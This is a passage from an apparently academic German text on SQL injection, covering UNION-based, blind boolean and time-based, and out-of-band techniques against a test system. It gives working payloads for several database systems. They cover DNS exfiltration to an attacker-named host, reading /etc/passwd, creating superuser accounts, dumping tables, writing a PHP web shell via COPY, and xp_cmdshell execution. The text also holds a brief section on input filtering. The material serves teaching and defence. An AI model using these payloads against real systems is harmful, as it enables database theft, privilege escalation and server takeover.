SQL-Operator nutzt, um die Ergebnisse von zwei oder mehr SELECT-
Anweisungen zu einem einzigen Ergebnis zu kombinieren, das dann als Teil der
HTTP-Antwort zurückgegeben wird. Dabei ist es wichtig, dass die Anzahl der
Felder der injizierten Abfrage mit der Feldanzahl der Abfrage übereinstimmt, da
sonst statt des Ergebnisses nur eine Fehlermeldung erscheint. Fehlerbasiertes
SQL-Injektion ist, wie gezeigt, eine gute Möglichkeit, die Anzahl der benötigten
Spalten in Erfahrung zu bringen. Für einen ersten Test empfiehlt es sich,
Konstanten zur Ausgabe zu bringen. Dabei wird die Position der Spalten in der
Ausgabe sichtbar, die korrekte Spaltenanzahl und eine funktionierende Syntax
der injizierten Anweisung überprüft.
Bild 19: SQLi mit Konstanten zur Bestätigung der Ausführungsbedingungen
Im nächsten Schritt ist es möglich, beliebige SQL-Befehle zu injizieren:
Bild 20: UNION-Based-SQLi zur Offenlegung der Datenbankstruktur
SQL-Injection
28
Im Beispiel wurde durch den Aufruf der URL:
www.victim.com/products.php?val=100' AND 0 UNION (SELECT
table_schema, table_name,column_name,0 FROM
information_schema.columns WHERE table_schema =(SELECT
database()) ); -- '
die Struktur der aktuellen Datenbank aufgezeigt. Das ausgeführte SQL-
Kommando stellt sich im Detail wie folgt dar:
Tabelle 4: Detailfunktion einer UNION-Based-SQLi
SQL Auswirkung SELECT * FROM products WHERE price < '100
Startteil der Originalabfrage
' Steuerzeichen zum Initiieren der SQLi AND 0 Ausblenden der Originalausgabe UNION (SELECT Injizieren einer neuen SELECT-Query table_schema, table_name, column_name,
gewünschte Spalten der Abfrage
0 Auffüllen mit Konstanten zur Anpassung der Spaltenanzahl
FROM information_schema.columns Datenbank- und Tabellenname der injizierten Query WHERE table_schema=(SELECT database()))
Einschränkung der Ergebnisse auf die aktuell verwendete Datenbank
;-- ' Abschließen der Query und auskommentieren des Rests der Original-Query
' ORDER BY ProductDescription Rest der Original-Query, wird nicht ausgeführt
An dieser Stelle ist die Injektion beliebiger SQL-Payloads möglich.
3.2.2 Inferenzielle SQLi (BLIND-SQLi)
Bei einem inferentiellen SQLi-Angriff werden keine Antwortdaten über die Web-
anwendung übertragen, und der Angreifer kann das Ergebnis seines Angriffs
nicht direkt sehen, sondern muss das Ergebnis aus dem Antwortverhalten ablei-
ten. Aus diesem Grund werden solche Angriffe im Allgemeinen als "BLIND-SQL-
Injektion-Angriffe" bezeichnet. Inferenzielle SQL-Injektion benötigen im Vergleich
zu In-Band-SQLi mehr Zeit und eine größere Anzahl an Aufrufen, sind jedoch
genauso gefährlich wie jede andere Form von SQL-Injektion. Die beiden verbrei-
tetsten Arten von inferentiellen SQLi sind Blind-Boolean-basiertes SQLi und
Blind-Time-basiertes SQLi.
SQL-Injection
29
Boolesche SQLi ist eine inferentielle SQL-Injektion-Technik, bei der eine SQL-
Abfrage an die Datenbank gesendet wird, welche die Anwendung zwingt, ein Er-
gebnis zurückzugeben, welches in Abhängigkeit einer JA/NEIN Entscheidung
steht. Je nach Ergebnis ändert sich der Inhalt der HTTP-Antwort oder bleibt
gleich. Auf diese Weise kann ein Angreifer ableiten, ob die verwendete Payload
true oder false zurückgibt, obwohl keine Daten aus der Datenbank zurückgege-
ben werden. Dieser Angriff ist normalerweise langsam, da je Anfrage nur ein
Ergebnisbit an den Angreifer übermittelt werden kann.
Das folgende Beispiel demonstriert Blind-Boolean-basiertes SQLi anhand einer
Passwortüberprüfung, bei der das Password aus der Datenbank extrahiert
werden soll:
Bild 21: SQLi Etablierung für eine Blind-Boolean SQLi
Die erste Etablierung der Blind-Boolean SQLi bringt noch keine Erkenntnisse
über das verwendete Passwort. Die Payload bringt die Webapplikation allerdings
bereits dazu, die Eingabe als gültiges Passwort zu akzeptieren.
In nächsten Schritt wird ermittelt, aus wie vielen Zeichen das gesuchte Passwort
besteht:
SQL-Injection
30
Bild 22: Bestimmung der Zeichenanzahl des gesuchten Passwortes
Die Auswertung der Anfragen ergibt, dass das Passwort aus weniger als vier,
aber nicht weniger als drei Zeichen besteht. Das gesuchte Passwort besteht
somit aus genau drei Zeichen.
Zeitbasierte SQL-Injektion ist eine weitere inferentielle SQL-Injektion-Technik.
Kennzeichnend ist, dass die Datenbank gezwungen wird, eine bestimmte Zeit zu
warten bevor sie antwortet. Die Daten der eingeschleusten Anfrage sind als
Antwortzeit der Datenbank kodiert. Zur Demonstration wird das Beispiel fortge-
setzt, um das Passwort auszulesen. Im ersten Schritt wird geklärt, ob das erste
Zeichen zu den Großbuchstaben, den Kleinbuchstaben oder den Sonderzeichen
gehört:
Bild 23: Testen der Zeichenart des ersten Zeichens des gesuchten Passwortes
SQL-Injection
31
Die Funktion SLEEP erzeugt bei dem verwendeten DBMS eine Verzögerung um
den als Parameter angegebenen Wert in Sekunden, benötigt somit einen
Integerwert. Daher bietet es sich an, das zu überprüfende Zeichen in seinen
ASCII-Code umzuwandeln. ASCII-Codes zwischen 65 und 90 codieren Groß-
buchstaben, Werte zwischen 97 und 122 Kleinbuchstaben. Eine Überprüfung des
gesuchten Zeichens auf die Einhaltung dieser Wertegrenzen gibt somit Auskunft
über die Art des Zeichens. Ist die Zeichenart geklärt, im Beispiel wird davon aus-
gegangen, dass alle Zeichen zur gleichen Gruppe gehören, kann das Zeichen
näher bestimmt werden. Dazu wird vom gesuchten ASCII-Code der Startwert der
Gruppe abgezogen, um die Antwortzeiten zu beschleunigen und Zeichen für
Zeichen einzeln abgerufen:
Bild 24: Bestimmung des Passwortes aus den Antwortzeiten
Aus den so ermittelten Antwortzeiten der einzelnen Zeichen kann das Passwort
rekonstruiert werden:
Tabelle 5: Rekonstruktion des Passwortes aus den Antwortzeiten
Zeit in s ASCII-Code Zeichen 1 1 + 97 = 98 b 0 0 + 97 = 97 a 17 17 + 97 = 114 r
Die Überprüfung des so ermittelten Passworts bestätigt seine Richtigkeit:
SQL-Injection
32
Bild 25: Überprüfung des ermittelten Passwortes
Zur Ermittlung des Passwortes wurden folgende bisher nicht verwendete SQL-
Befehle genutzt:
Tabelle 6: für zeitbasierte SQLi verwendete SQL-Befehle
SQL-Befehl Funktion SLEEP(Zeit in Sekunden) pausiert das DBMS IF(Bedingung, Wert für wahr, Wert für falsch) Überprüfung einer Aussage ASCII(Zeichen) liefert den ASCII-Code zu einem Zeichen SUBSTRING(String, Offset, Länge) generiert einen Teilstring
3.2.3 Out-of-Band
Als Out-of-Band-SQL-Injektion bezeichnet man Angriffe, bei denen der Angreifer
nicht denselben Kanal verwenden kann, um den Angriff zu starten und um die
Ergebnisse zu sammeln. Sie stellen eine besondere Klasse innerhalb von BLIND-
SQLi dar. Out-of-Band-SQL-Injektion ist deutlich weniger verbreitet als andere
SQLi-Klassen, da die Möglichkeiten stark von dem verwendeten DBMS, den im
DBMS aktivierten Funktionen, den Rechten des DBMS-Nutzers abhängen.
Weiterhin benötigt der Angreifer einen separaten Antwortkanal, der schwerer
anonym zu halten ist als der Angriffskanal. Out-of-Band-Techniken bieten einem
Angreifer dafür eine Alternative zu zeitbasierten Inferenztechniken, was
insbesondere dann sinnvoll ist, wenn die Serverreaktionen nicht sehr stabil sind,
was einen zeitbasierten Inferenzangriff unzuverlässig macht. Out-of-Band-SQLi-
Techniken hängen von der Fähigkeit des Datenbankservers ab, Netzwerk-
anfragen, zum Beispiel via DNS oder HTTP zu stellen, um Daten an einen An-
greifer zu übermitteln. Eine Variante von Out-of-Band-SQLi stellt das Schreiben
des DBMS in ein vom Angreifer kontrolliertes Filesystem dar. In MySQL ist es
SQL-Injection
33
möglich, in ein über Netzwerk erreichbares Filesystem zu schreiben:
SELECT @@version INTO OUTFILE '\\\\10.0.2.15\\out1.txt';
Anschließend kann der Angreifer die Ausgabe des DBMS aus dem erhaltenen
File auslesen:
Eine weitere Variante ist die DNS Exfiltration von Abfrageergebnissen (vgl.
Wikipedia: Štampar). Dabei wird das DBMS dazu gebracht, eine DNS-Abfrage
auszuführen, die letztlich zum DNS-Servers des Angreifers gelangt und dort
gespeichert wird. Zur Trennung von Diensten innerhalb einer Domain werden
Sub-Domains, wie www.beispiel.de für den Webserver oder mail.beispiel.de für
den Mailserver verwendet. Die vom Angreifer zu übertragenden Daten werden
dabei vom Angreifer in der Subdomainbezeichnung untergebracht, wie das
MySQL Beispiel zeigt:
SELECT LOAD_FILE(CONCAT('\\\\',version(),'.victim.com\\a.txt'));
In den meisten Systemen sind Funktionen, die DNS-Abfragen auslösen, in den
Standardeinstellungen jedoch deaktiviert, PostgreSQL bildet eine Ausnahme und
gestattet DNS-Abfragen ohne besondere Nutzerrechte. Im folgenden Beispiel
wird der Name des aktuellen Datenbanknutzers in der Subdomain codiert:
CREATE EXTENSION dblink; SELECT
dblink_connect('host='||current_user||'. attacker1.com
user=p password=p dbname=d');
Ein Netzwerkmittschnitt zeigt die DNS-Abfrage und den übergebenen
Nutzernamen „postgres“.
Bild 26: Ettercap Mitschnitt einer PostgreSQL DNS-Anfrage
Auf diesem Weg können beliebige Inhalte aus dem DBMS exfiltriert werden.
SQL-Injection
34
3.3 Payloads
Als Payload (Nutzlast) wird der vom Angreifer gewollt ausgeführte SQL-Befehl
bezeichnet (vgl. Wikipedia: Computervirus#Payload). Meist ist es für eine
erfolgreiche SQL-Injektion notwendig, weitere SQL-Befehle oder Fragmente
davon an die Anwendung zu übergeben, damit die angegriffene Anwendung
daraus eine gültige SQL-Anweisung erzeugt und an das DBMS übergibt. Die
zusätzlich zum gewünschten SQL-Befehl verwendeten Zeichen sind nicht Teil
der Payload, sondern bestehen aus dem SQL-Exploit und der Ein- bzw.
Ausleitung der Payload. Verdeutlicht wird dies anhand eines Beispiels aus
Kapitel 3.2.1:
www.victim.com/products.php?val=100' AND 0 UNION (SELECT
table_schema, table_name,column_name,0 FROM
information_schema.columns WHERE table_schema =(SELECT
database()) ); -- '
Tabelle 7: Bestandteile einer SQLi
Parameter Funktion 100 Eingabedaten ' Einleitung der SQLi (Expoit) AND 0 UNION ( Anpassung der Ausgabe und
Einleitung der Payload SELECT table_schema, table_name,column_name,0 FROM information_schema.columns WHERE table_schema =(SELECT database())
Payload
); -- Ausleitung der Payload ' Abschluss der SQLi (Expoit)
3.3.1 SQL-Befehle und ihre Anfälligkeit für Injektionen
SQL ist eine Datenbanksprache zur Definition von Datenstrukturen in relationalen
Datenbanken sowie zum Bearbeiten (Einfügen, Verändern, Löschen) und Abfra-
gen von darauf basierenden Datenbeständen. Die Sprache basiert auf der
relationalen Algebra, ihre Syntax ist relativ einfach aufgebaut und semantisch an
die englische Umgangssprache angelehnt (vgl. Wikipedia: SQL).
SQL ist unterteilt in:
SQL-Injection
35
1. Data Definition Language(DDL), die der Definition von Tabellen und
Datenstrukturen dient. Die Befehle CREATE, ALTER, RENAME, DROP
wirken auf komplette Datenbanken und Tabellen.
2. Data Control Language(DCL), welche zum Konfigurieren der Zugriffs-
berechtigungen von Datenbanknutzern verwendet wird. Sie besteht aus
den Befehlen GRANT und REVOKE, welche sich direkt auf Nutzerrechte
auswirken.
3. Data Manipulation Language(DML) zur Datenmanipulation und -abfrage.
Mithilfe der Befehle SELECT, INSERT, UPDATE, DELETE, TRUNCATE
können Datenbestände angelegt, verändert, abgefragt und gelöscht
werden.
Weder die Data Definition Language noch die Data Control Language sind bei
ihrer Ausführung empfänglich für SQL-Injektion, können aber Bestandteile der
Payload sein. Ihre Befehle akzeptieren ausschließlich Konstanten als Parameter,
so dass keine SQL-Anweisungen injiziert werden können.
Die Befehle der Data Manipulation Language sind gerade darauf ausgelegt,
relationale Beziehungen formulieren zu können, was sie zwangsläufig anfällig für
SQL-Injektion macht. Die folgende Tabelle zeigt die Möglichkeit zum Platzieren
von Payloads in den einzelnen Befehlen auf:
Tabelle 8: Platzierungsmöglichkeiten von Payloads in DML-Befehlen
SELECT * ,(SELECT user()) FROM `cmsusers` ,(SELECT database()) as t1 WHERE `user` like "%" AND (SELECT user() like "%") AND 1=1 GROUP BY `user` ,( SELECT user()) HAVING `user` like "%" AND (SELECT user() like "%") AND 1=1 UNION `user` like "%" AND (SELECT 1,1,1,1,1,1) ORDER BY `cmsusers` ,(SELECT user()) INSERT INTO `cmsusers` (`user`, `password`, `Super_priv`) VALUES ( (SELECT database()),'test', 'n'); -- 'test', 'n'); UPDATE `cmsusers` SET `userid` = 3 ,`user`=(SELECT user()) WHERE `userid` = '3' OR 1=(SELECT user()) AND 1=1 DELETE FROM `cmsusers` WHERE `userid` = '3' OR 1=(SELECT user()) AND 1=1
SQL-Injection
36
Die farbig hervorgehobenen Teile stellen die Payloads dar, wobei die SELECT-
Anweisungen jeweils beliebig gestaltet werden können. Die 1=1 Klausel steht für
eine Überschreibung der ursprünglich einschränkenden Klausel.
3.3.2 SQL-Multiabfragen
Als Multiabfragen, auch Stacked Queries genannt, bezeichnet man die Übergabe
von mehreren SQL-Befehlen in einem Datenbankaufruf, wobei die einzelnen
Befehle jeweils durch ein Semikolon getrennt sind. Diese Funktion erlaubt die
Injektion beliebiger SQL-Befehle. Die Möglichkeit von Multiabfragen ist inzwi-
schen in den Datenbank-Konnektoren der Middleware standardmäßig oft deak-
tiviert oder wird nur noch seltener verwendet, da sie explizit aufgerufen werden
muss. Im beiliegenden Testsystem wurde eine Möglichkeit zum Testen von Mehr-
fachabfragen implementiert.
Bild 27: Mehrfachabfragen erzeugen bei Nichtunterstützung einen Fehler
Bei fehlender Unterstützung von Multiabfragen erzeugen diese eine Fehlermel-
dung.
Bild 28: bei Mehrfachabfragen werden die Einzelergebnisse nicht angezeigt
Werden Multiabfragen von der Applikation unterstützt, so werden die Ergebnisse
der Einzelabfragen in der Regel nicht angezeigt. Eine allgemeine Statusmeldung
informiert stattdessen über die erfolgreiche Ausführung der Befehle.
SQL-Injection
37
3.3.3 Schutz vor SQL-Injektion durch Filtern der Eingabedaten
Zum Schutz der Applikationen sollten die durch den Anwender eingegebenen
Daten auf das Vorhandensein von Steuerzeichen hin untersucht und entspre-
chend behandelt werden.
Nichtnumerische Eingaben wie Benutzernamen und Passwörter werden als
Zeichenketten in den SQL-Befehl eingebettet. Diese Zeichenketten sind von
Anführungszeichen umschlossen. Um einen SQL-Injektion-Angriff erfolgreich
durchzuführen, muss der Angreifer eigene gültige Anführungszeichen in die SQL-
Anweisung einschleusen können, wie in Kapitel 3.3 dargestellt. Ein wichtiger
Baustein zum Schutz vor SQL-Injektion ist daher das Ungültig machen von durch
den Nutzer eingegebene Anführungszeichen. Funktionen dafür sind in vielen
Programmiersprachen bereits integriert, funktionieren möglicherweise aber nicht
zuverlässig. Ein besonderes Problem hierbei sind Multibyte-Zeichen. Zum
Beispiel die Werte 0xbf5c und 0xaf5c sind gültige Multibyte-Zeichen im
chinesischen Zeichensatz GBK. Diese Multibytezeichen werden unter Umstän-
den von Middleware und DBMS nicht gleich interpretiert, was zu einer lückenhaf-
ten Maskierung der Steuerzeichen führen kann.
Werden die Nutzereingaben nicht als Zeichenkette verarbeitet, sind gar keine
Sonderzeichen für eine erfolgreiche SQL-Injektion notwendig:
Bild 29: SQLi mit Integerwerten
Innerhalb einer erfolgreichen SQL-Injektion sind oft gar keine Sonderzeichen
mehr notwendig, da diese durch andere SQL-Funktionen zur Laufzeit der Ab-
frage durch den SQL-Interpreter des DBMS erzeugt werden können:
SQL-Injection
38
Bild 30: Erzeugung von Strings zur Laufzeit der Abfrage
Die vielfältigen Möglichkeiten, Eingaben zu variieren, codieren und maskieren
machen Pattern basierende Erkennung von SQL-Injektion zu einer komplexen
Aufgabe.
3.3.4 Das verwendete Datenbankmanagementsystem identifizieren
Komplexere SQL-Injektion-Attacken nutzen oft DBMS-spezifische Funktionen.
Daher ist es meist das erste Ziel einer SQL-Injektion, das von der Applikation
verwendete DMBS zu identifizieren. Die Provokation von Fehlermeldungen ist,
wie in Kapitel 3.2.1, eine gute Möglichkeit, um an Informationen über das DBMS
zu kommen. Produziert eine Nutzereingabe, die eine ungültige SQL-Anweisung
erzeugt, keine Fehlermeldung, dann ist davon auszugehen, dass die Ausgabe
von Fehlermeldungen unterdrückt wird.
Eine weitere Möglichkeit ist die DBMS-spezifische Abfrage der Version über
einen SELECT-Befehl.
Tabelle 9: Ermittlung des DBMS anhand Versionsangabe
SQL MySQL PostgreSQL MSSQL OracleDB SQLite SELECT @@version 5.5.60-log - Microsoft SQL
Server 2017 - -
SELECT version() 5.5.60-log PostgreSQL 10.4 - - -
SELECT banner FROM v$version
- - - Oracle Database 11g
-
SELECT sqlite_version();
- - - - 3.16.2
SQL-Injection
39
Ist eine Ausgabe der Version nicht möglich, weil der Systembetreiber den Eintrag
überschrieben hat oder der Datenbankbenutzer der Applikation nicht über die er-
forderlichen Rechte verfügt, kann man das DBMS auch indirekt über die Interpre-
tation einzelner SELECT-Abfragen ermitteln:
Tabelle 10: Ermittlung des DBMS anhand SQL-Interpretationsunterschieden
SQL MySQL PostgreSQL MSSQL OracleDB SQLite SELECT 'a''b' a'b a'b a'b ERROR / a'b a'b
SELECT 'a'+'b' 0 ERROR ab ERROR 0 SELECT 'a'||'b' 0 ab ERROR ERROR / ab ab
An dem Punkt, an dem eine erfolgreiche SQL-Injektion etabliert und das DBMS
identifiziert wurde, kann man sich, abhängig von den gegebenen Voraus-
setzungen, Gedanken über mögliche Ziele der SQL-Injektion machen.
3.4 Ziele von SQL-Injektion
Im folgenden Kapitel werden die verbreitetsten Ziele von SQL-Injektion vorge-
stellt und anhand des beiliegenden Testsystems demonstriert.
Nicht in jeder Konstellation ist das Erreichen aller Ziele möglich. Um im Rahmen
der Arbeit möglichst viele Szenarien beschreiben zu können, ist das System nicht
besonders sicher, aber im Rahmen von Standardeinstellungen konfiguriert und
die angesprochenen Applikationen sind nicht gegen SQL-Injektion geschützt.
Bild 31: SQLi-Angriffsvektoren und Ziele
SQL-Injection
40
3.4.1 Ausspähen von Daten
Bei dem unbefugten Verschaffen von Daten, die nicht für den Nutzer bestimmt
und die gegen unberechtigten Zugang besonders gesichert sind, im Besonderen
unter Überwindung einer Zugangssicherung, wird von Ausspähen von Daten
gesprochen. Im Kontext von SQL-Injektion sind hier einerseits die Struktur
vorhandener Datenbanken, als auch der Inhalt dieser von Interesse.
Die Informationsbeschaffung folgt dabei dem Schema:
Datenbanken > Tabellen > Spalten > Inhalte.
Im konkreten Beispiel wird ein MySQL-System via SQL-Injektion ausgelesen. Im
ersten Schritt werden die Datenbanken angezeigt:
Bild 32: Anzeige der vorhandenen Datenbanken
Im Anschluss können zu den gewünschten Datenbanken die vorhandenen
Tabellen aufgelistet werden:
Bild 33: Auflistung der zur Datenbank gehörenden Tabellen
Die nachfolgende Erweiterung um die Spaltennamen komplettiert die Datenbank-
struktur:
SQL-Injection
41
Bild 34: Erweiterung der Anzeige um die Spaltennamen
Mithilfe der Datenbankstruktur können die Inhalte des gesamten DBMS, für die
der Datenbankbenutzer Leserechte besitzt, ausgelesen werden:
Bild 35: Dumpen des Inhaltes einer Tabelle
Für das Beispiel wurden folgende SQL-Anweisungen genutzt.
1. vorhandene Datenbanken auflisten
2. zugehörige Tabellennamen anzeigen
3. die Anzeige um Spaltennamen erweitern
4. Inhalte auslesen
Da die Struktur der Datenbanken von den einzelnen DBMS unterschiedlich
gespeichert wird, müssen die Befehle entsprechend angepasst werden.
MySQL:
1. SELECT schema_name FROM information_schema.schemata;
2. SELECT table_schema,table_name FROM information_schema.tables WHERE
table_schema = 'kemper';
3. SELECT table_schema, table_name, column_name FROM
information_schema.columns WHERE table_schema = 'kemper';
4. SELECT PersNr,Name,Fachgebiet,Boss FROM kemper.assistenten;
SQL-Injection
42
PostgreSQL:
1. SELECT datname FROM pg_database;
2. SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN
pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind
IN ('r','') AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND
pg_catalog.pg_table_is_visible(c.oid);
3. SELECT relname, A.attname FROM pg_class C, pg_namespace N,
pg_attribute A, pg_type T WHERE (C.relkind='r') AND
(N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND
(A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND
(N.nspname ILIKE 'public');
4. SELECT PersNr,Name,Fachgebiet,Boss FROM assistenten;
MSSQL:
1. SELECT name FROM master..sysdatabases;
2. SELECT name FROM kemper..sysobjects WHERE xtype = 'U';
3. SELECT sysobjects.name as tablename, syscolumns.name as columnname
FROM sysobjects JOIN syscolumns ON sysobjects.id=syscolumns.id
WHERE sysobjects.xtype='U';
4. SELECT PersNr,Name,Fachgebiet,Boss FROM kemper..assistenten;
OracleDB:
1. SELECT DISTINCT owner FROM all_tables;
2. SELECT DISTINCT owner, table_name FROM all_tab_columns WHERE OWNER
= 'DBUSER';
3. SELECT DISTINCT OWNER,TABLE_NAME,COLUMN_NAME FROM all_tab_columns
WHERE OWNER = 'DBUSER';
4. SELECT 'PersNr','Name','Fachgebiet','Boss' FROM "assistenten";
SQLite:
1. Entfällt, da eine SQLitedatei nur eine Datenbank enthält.
2. SELECT name FROM sqlite_master WHERE type='table';
3. SELECT sql FROM sqlite_master WHERE type='table';
4. SELECT PersNr,Name,Fachgebiet,Boss FROM assistenten;
SQL-Injection
43
Die farbig hervorgehobenen Bestanteile der Abfragen markieren datenbank-
spezifische Werte, die entsprechend der vorgefundenen Konfiguration und Daten
angepasst werden müssen.
3.4.2 Veränderung von Daten
Bei Verändern von Daten im Kontext SQL-Injektion sind die Inhalte der Daten-
banken betroffen. Der Angreifer kann:
1. neue Datenbanken anlegen
2. neue Tabellen anlegen
3. neue Daten einfügen, bestehende verändern und löschen
4. Tabellen löschen
5. Datenbanken löschen
Im Beispiel werden zur Demonstration Inhalte über eine SQL-Injektion eingefügt
und wieder entfernt.
Bild 36: Anlegen von Datenbanken, Tabellen und Inhalten sowie deren Ausgabe
Bild 37: Entfernen der zuvor eingefügten Inhalte
SQL-Injection
44
Der SQL-Syntax ist abhängig vom zugrundeliegenden DBMS und wird daher
separat aufgeführt:
MySQL: 1. CREATE DATABASE hack;
2. CREATE TABLE `hack`.`user`(`id` INT(10))ENGINE=MYISAM;
3. INSERT INTO `hack`.`user` (`id`)VALUES ('1');
UPDATE `user` SET `id`='2' WHERE `id`='1';
DELETE FROM `user` WHERE `id` = '2';
4. DROP TABLE `hack`.`user`;
5. DROP DATABASE `hack`;
PostgreSQL:
Für PostgreSQL gelten einige Einschränkungen, die SQL-Injektion erschweren,
so werden CREATE DATABASE Befehle in Multiqueryanweisungen nicht ausge-
führt und Cross-Database-References sind ebenfalls nicht implementiert.
1. CREATE DATABASE hack;
2. CREATE TABLE "hack"."public"."user" ("id" integer NOT NULL);
3. INSERT INTO "hack"."public"."user" ("id") VALUES ('1');
UPDATE "hack"."public"."user" SET "id"='2' WHERE "id"='1';
DELETE FROM "hack"."public"."user" WHERE "id"='2';
4. DROP TABLE "hack"."public"."user";
5. DROP DATABASE "hack";
MSSQL:
1. CREATE DATABASE hack;
2. CREATE TABLE [hack].[dbo].[user] ([id] int NOT NULL);
3. INSERT INTO [hack].[dbo].[user] ([id]) VALUES ('1');
UPDATE [hack].[dbo].[user] SET [id] = '2' WHERE [id] LIKE '1';
DELETE FROM [hack].[dbo].[user] WHERE [id] LIKE '2';
4. DROP TABLE [hack].[dbo].[user];
5. DROP DATABASE [hack];
OracleDB:
Auch in der Oracle-Datenbank sind Cross-Database-References gewöhnlich
nicht implementiert.
1. CREATE TABLE "user" ("id" number NOT NULL);
SQL-Injection
45
2. INSERT INTO "user" ("id")VALUES ('1');
3. UPDATE "user" SET "id"='2' WHERE "id"='1';
4. DELETE FROM "user" WHERE "id"='2';
5. DROP TABLE "user";
SQLite:
In SQLite-Datenbanken werden Mehrfachabfragen meistens nicht ausgeführt.
Bei der verwendeten Konfiguration wird nur die erste Abfrage ausgeführt und alle
nachfolgenden ignoriert.
1. CREATE TABLE "user" ( "id" integer NOT NULL);
2. INSERT INTO "user" ("id") VALUES ('1');
3. UPDATE "user" SET "id" = '2' WHERE "rowid" = '1';
4. DELETE FROM "user" WHERE ("rowid"='1');
5. DROP TABLE "user";
Die Fähigkeit, Mehrfachabfragen auszuführen oder Cross-Database-References
zu verwenden, ist jeweils abhängig von der konkret verwendeten Applikation.
3.4.3 Datenbank-Server verändern
Neben dem Verändern von Datenbankinhalten ist die Veränderung des Daten-
bankservers ein weitverbreitetes Ziel von Angreifern. Dabei ist die Benutzerver-
waltung ein Hauptziel, da sich der Angreifer so erweiterte Rechte verschaffen
oder den Service komplett sabotieren kann, indem der entsprechende Nutzer im
DBMS verändert wird. Demonstriert wird daher:
1. Anlegen eines Nutzers mit allen Rechten
2. Löschen eines Nutzers
MySQL:
1. CREATE USER 'u'@'%' IDENTIFIED BY password('p');
GRANT ALL PRIVILEGES ON *.* TO 'u'@'%';
FLUSH PRIVILEGES;
Wenn der direkte Zugang zur Benutzerverwaltung gesperrt ist, kann der Nutzer
auch direkt über die Datenbanktabelle angelegt werden:
INSERT INTO `mysql`.`user` (`Host`,`User`,`Password`,`Select_priv`,
`Insert_priv`,`Update_priv`,`Delete_priv`,`Create_priv`,`Drop_priv`,
SQL-Injection
46
`Reload_priv`,`Shutdown_priv`,`Process_priv`,`File_priv`,`Grant_priv`,
`References_priv`,`Index_priv`,`Alter_priv`,`Show_db_priv`,
`Super_priv`,`Create_tmp_table_priv`,`Lock_tables_priv`,
`Execute_priv`,`Repl_slave_priv`,`Repl_client_priv`,
`Create_view_priv`,`Show_view_priv`,`Create_routine_priv`,
`Alter_routine_priv`,`Create_user_priv`,`Event_priv`,`Trigger_priv`,
`Create_tablespace_priv`,`ssl_type`,`max_questions`,`max_updates`,
`max_connections`,`max_user_connections`,`plugin`,
`authentication_string`)VALUES('%','u',password('p'),2,2,2,2,2,2,2,2,2
,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,0,'0','0','0','0','',NULL);
FLUSH PRIVILEGES;
Bild 38: Anlegen eines Benutzers mit allen Rechten via SQLi
2. DELETE FROM `mysql`.`user` WHERE `User`='u'; FLUSH PRIVILEGES;
Bild 39: Löschen eines Benutzers via SQLi
PostgreSQL:
1. CREATE ROLE u WITH SUPERUSER;
ALTER ROLE u WITH LOGIN; ALTER ROLE u WITH PASSWORD 'p';
2. DROP USER u;
Anzeigen der DB-Nutzer: SELECT usename, usecreatedb, usesuper FROM pg_user;
SQL-Injection
47
MSSQL:
Bei MSSQL muss das Passwort einigen Komplexitätsregeln entsprechen.
1. CREATE LOGIN u WITH PASSWORD = 'pP1234567890';
EXEC sp_addsrvrolemember @loginame=N'u',@rolename=N'sysadmin';
2. DROP login u;
SELECT name FROM master..syslogins ;
OracleDB:
1. CREATE USER u identified by p; GRANT dba to u;
2. DROP USER u CASCADE;
SQLite:
SQLite verwendet keine Benutzer, die Zugriffsmöglichkeiten werden von der
Applikation verwaltet und können daher nicht mit SQL-Befehlen beeinflusst
werden.
3.4.4 Zugriff auf das Filesystem
Der lesende und schreibende Zugriff auf das Filesystem des DBMS-Servers oder
des Applikationsservers ist ein weiteres lohnendes Ziel für Angreifer und kann
eine Möglichkeit der Vorbereitung sein, eigenen Code auf den Systemservern
oder den Clients auszuführen.
Für die einzelnen DBMS soll folgendes demonstriert werden:
1. Lesezugriff auf Systemfiles
2. Schreibzugriff
3. Lesezugriff auf das zuvor geschriebene File, vorzugsweise im gemeinsamen
Filespace des DBMS und des Webservers
MySQL:
1. SELECT LOAD_FILE('/etc/passwd')
SQL-Injection
48
Bild 40: Lesezugriff auf das Filesystem via SQLi
2. SELECT "SECRET" INTO dumpfile '/var/lib/mysql/test.txt';
Bild 41: Schreibzugriff via Multiquery
3. SELECT LOAD_FILE('/var/lib/mysql/test.txt');
Bild 42: Lesezugriff auf das zuvor geschriebene File
PostgreSQL:
Bei PostgreSQL wird der Dateizugriff über den COPY-Befehl realisiert. Dieser
akzeptiert als Datenquelle und Senke nur Dateien und Tabellen. Daher muss der
Dateizugriff über Hilfstabellen realisiert werden.
1. CREATE TABLE mydata(t text); COPY mydata FROM '/etc/passwd';
SELECT * FROM mydata;
DROP TABLE mydata;
2. CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES ('<? pasthru($_GET[cmd]); ?>');
COPY mytable (mycol) TO '/var/lib/postgresql/data/c.php';
DROP TABLE mytable;
3. CREATE TABLE mydata(t text); COPY mydata FROM
SQL-Injection
49
'/var/lib/postgresql/data/c.php';
SELECT * FROM mydata;
DROP TABLE mydata;
MSSQL:
Auch in MSSQL ist der Lesezugriff nur über Hilfstabellen möglich. Der Schreib-
zugriff hingegen ist nur über Systemtools oder die Funktion 'xp_cmdshell' mög-
lich, welche von Linuxsystemen nicht unterstützt werden.
1. CREATE TABLE mydata (line varchar(8000));
BULK INSERT mydata FROM '/etc/passwd';
SELECT * FROM mydata;
DROP TABLE [mydata];
2. Auf Linuxsystemen nicht möglich.
DECLARE @sql varchar(8000)
SELECT @sql = 'bcp
"SELECT * FROM EmailVarification..tblTransaction"
QUERYOUT c:\bcp\Tom.xls -c -t, -T -S' + @@servername
exec master..xp_cmdshell @sql
3. wie 1. im Path '/var/opt/mssql/test.txt'
OracleDB:
Auch von der OracleDB werden nativ keine Filezugriffe unterstützt. Sie können
über verschiedene externe Funktionen z. B. in JAVA realisiert werden. Eine
erfolgreiche Demonstration über SQL-Injektion ist jedoch nicht möglich.
SQLite:
SQLite bietet keine Möglichkeit des Filezugriffs via SQL.
3.4.5 Einschleusen beliebigen Codes
Beim Einschleusen fremden Codes muss nach Ausführungsort des Codes
unterschieden werden zwischen:
SQL-Injection
50
1. der Code wird auf dem System des DBMS ausgeführt
2. der Code wird auf dem System der Applikation ausgeführt
